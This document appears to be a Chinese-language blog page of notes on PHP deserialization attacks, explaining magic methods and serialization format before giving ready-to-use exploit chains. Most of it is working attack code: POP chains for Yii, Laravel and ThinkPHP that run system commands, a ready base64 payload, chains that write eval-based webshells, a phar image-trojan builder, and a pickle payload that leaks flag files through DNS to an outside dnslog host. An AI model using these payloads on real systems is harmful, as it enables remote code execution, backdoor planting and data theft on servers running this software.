php反序列化
反序列化
过程
- 首先通过序列化后的字符串里的类名创建一个空类,即里面的属性都没赋值,如果后面出现什么错误(比如后面序列化字符串格式不对)则,这个对象直接被回收器回收了,会触发__destruct销毁魔术方法
基本知识
- 修饰符不同
private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00\*\x00变量名
public变量会被序列化为:变量名
__sleep() //在对象被序列化之前运行 *
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过) *
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的
属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时
__debug_info()//在var_dump()会执行
- 基本函数
__construct:构造函数,当一个对象创建时调用
__destruct:析构函数,当一个对象被销毁时调用
__toString:在类被当成字符串时触发
__sleep:在对象序列化的时候,会调用一个_sleep()方法(即在一个对象被序列化时调用)
__wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候,则会自动调用PHP的另一个函数_wakeup()(即在一个对象被反序列化时调用)
__call:在对象中调用一个不存在的方法或者不可访问的方法时触发
__callStatic:在对象中调用一个不存在的方法或者不可访问的方法时触发
__get:在读取不可访问(protected或private)或不存在的属性时触发
__set:在给不可访问(protected或private)或不存在的属性赋值时触发
__invoke:在尝试以调用函数的方式调用一个对象时触发
__unserialize() 如果这个和__wakeup 都有则这个生效,__wakeup忽略,这个特性从7.4.0开始
- 反序列化后格式
序列化后的形式:
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:4:"Mike";}
O表示对象
4表示对象名长度为4
User为对象名
2表示有两个参数,{}里面时参数的key和value
s表示string对象,3表示长度,age为key
i表示interger对象,18为value
php7.1+反序列化对类属性不敏感
- php反序列化private属性时可以在序列化时改成public反序列化依然可以,但是反过来就不行了,如果是public你用private就不行
绕过部分正则
- O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:4:"Mike";}数字可以加+号不影响
- 或者可以序列化一个数组里面有对象,不影响对象魔术方法
SoapClient和CRLF组合拳
<?php
$a = new SoapClient(null,array('uri'=>'bbb','location'=>'http:xxx:7777'));
$c->not_a_function();//调用SoapClient不存在的方法会调用__call()访问指定ip
vps接收到请求头中SOAPACtion:"bbb#not_a_function",因此可以通过/r/n进行换行自定义请求头等信息
反序列化字符串逃逸
-
序列化后字符串替换
-
适用于Session里面取值,如果是在Cookies里面取值,可以直接改Cookie里面的字符串
-
替换后变成长
-
替换后变短
使用覆盖
session反序列化
-
session的几个配置
session.save_path=""设置session的存储位置 session.save_handle="" session.auto_start boolean 设置 session.serialize_handler 设置session存储到模式 -
只要有Session_start,那么你带着session_id 访问页面,脚本就会先去服务器反序列化对应session_id文件赋值给$_SESSION
-
php_serialize模式
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['user'] = 'JohnDoe'; $_SESSION['email'] = 'john.doe@example.com'; //a:2:{s:4:"user";s:7:"JohnDoe";s:5:"email";s:19:"john.doe@example.com";} -
php模式
<?php ini_set('session.serialize_handler', 'php'); session_start(); $_SESSION['user'] = 'JohnDoe'; $_SESSION['email'] = 'john.doe@example.com'; //user|s:7:"JohnDoe";email|s:19:"john.doe@example.com";普通属性 //user|O:4:"User":3:{s:4:"name";s:7:"JohnDoe";s:5:"email";s:19:"john.doe@example.com";s:7:"address";O:7:"Address":2:{s:4:"city";s:7:"Beijing";s:7:"country";s:5:"China";}}如果是对象属性
保证两个变量的值一致
- 通过&赋值保障两个变量同增同减
类名大小写绕过
- php类名,方法名,函数名大小写不敏感
- 变量名区分
- 常量名区分
- 数组索引区分
- 魔术常量不区分(以双下划线开头和结尾)
- NULL,FALSE,TRUE不区分
- 强制类型转换不区分(STRING)$a
YII反序列化漏洞(cve-2020-15148)
namespace要5.3.0以上才有
- exp
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
- 绕过
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > shell.php");
echo(base64_encode(serialize($exp)));
}
Laravel5.7(cve-2019-9081)
exp
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('ls /')); //此处执行命令
echo urlencode(serialize($pendingcommand));
}
Laravel5.8
exp1
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('ls /');");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
exp2
- post /?cmd=%73%79%73%74%65%6d%28%22%6c%73%22%29%3b (system("ls");url编码)
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code='<?php eval($_REQUEST["cmd"]);exit()?>'; //此处是PHP代码
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
thinkphp5.1反序列化
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
payload:
- lin是固定变量名不能更改
?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19&lin=cat /f*
phar反序列化
- 创造phar文件
<?php
class TestObject {
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'hu3sky';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
phar://upload_file/phar.gif //图片马
phar://upload_file/phar.phar
pickle反序列化
- os.system可以换成os.popen
import pickle
import os
import base64
class RunCmd(object):
def __reduce__(self):
return (os.system,('ping `cat fla*`.l0bisq.dnslog.cn',))
a=pickle.dumps(RunCmd(),protocol=0)
print(a)//要把nt换成posix,nt是win posix为linux
a=b"cposix\nsystem\np0\n(Vping `cat fla*`.l0bisq.dnslog.cn\np1\ntp2\nRp3\n."
print(base64.b64encode(a))
绕过__wakeup(CVE-2016-7124)
- 利用方式:
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
16进制绕过字符的过滤
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。

浙公网安备 33010602011771号